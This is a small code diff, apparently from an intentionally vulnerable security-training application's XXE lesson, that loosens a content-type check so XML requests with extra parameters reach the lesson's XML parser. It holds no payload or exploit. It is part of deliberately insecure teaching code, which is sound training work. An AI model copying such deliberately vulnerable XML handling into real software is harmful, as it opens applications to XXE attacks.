@ -58,7 +58,7 @@ public class ContentTypeAssignment extends AssignmentEndpoint {
|
|||||||
attackResult = failed().feedback("xxe.content.type.feedback.json").build();
|
attackResult = failed().feedback("xxe.content.type.feedback.json").build();
|
||||||
}
|
}
|
||||||
|
|
||||||
if (MediaType.APPLICATION_XML_VALUE.equals(contentType)) {
|
if (null != contentType && contentType.contains(MediaType.APPLICATION_XML_VALUE)) {
|
||||||
String error = "";
|
String error = "";
|
||||||
try {
|
try {
|
||||||
Comment comment = comments.parseXml(commentStr);
|
Comment comment = comments.parseXml(commentStr);
|
||||||
|
Reference in New Issue
Block a user